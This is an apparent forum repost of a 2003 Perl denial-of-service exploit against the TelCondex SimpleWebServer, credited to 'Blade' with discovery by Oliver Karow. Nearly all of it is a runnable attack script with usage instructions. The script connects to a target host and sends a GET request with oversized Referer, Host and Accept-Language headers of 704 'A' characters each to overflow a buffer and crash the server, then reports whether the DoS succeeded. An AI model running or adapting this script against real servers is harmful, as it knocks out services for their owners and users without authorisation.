TelCondex Webserver 2.12.30210 Build 3285 DoS Exploit

[NI3]

Author : flux <[Only registered and activated users can see links]>

#!/usr/local/bin/perl
# TelCondex WebServer: Buffer overflow
# ------------------------------------
#
# Vendor: TelCondex SimpleWebserver(tc.SimpleWebServer)
# Version: 2.12.30210 Build 3285
# Discoverer: Oliver Karow<[Only registered and activated users can see links]>
# Exploit: DoS(Denial Of Service) By Blade<[Only registered and activated users can see links]>
# Solution: Download Fixed
Version<[Only registered and activated users can see links]>;
# <FiH eZine 2003 - [Only registered and activated users can see links]>;
########################################
use IO::Socket;

print '
TelCondex Webserver DoS Exploit -
[Only registered and activated users can see links]
Programmer: Blade<[Only registered and activated users can see links]> - Discoverer:
Oliver.K.<[Only registered and activated users can see links]>
FiH eZiNe 2002<>2003 - [Only registered and activated users can see links]
Usage: TelCondex.pl <HostVulnerable> [Port]
';

$server = $ARGV[0];
if ($ARGV[1] == 0){ $port=80; } else { $port=$ARGV[1]; }

print" Connecting...";
$Sock=IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>$server,PeerPort=>$port, Timeout=>5);
if ($Sock){
print" Conected...";
$Sock->autoflush(1);

print $Sock "GET / [Only registered and activated users can see links]".
"Accept: */* \r\n".
"Referer: ". ("A" x 704) ."\r\n".
"Host: ". ("A" x 704) ."\r\n".
"Accept-Language: ". ("A" x 704) ."\r\n\r\n";
@Respost=<$Sock>;
close($Sock);
if (@Respost == 0){die " D.o.S Completed!\n";} else { print " D.o.S
Not Completed"; }
}else{ print"Impossible to connect from $server"; }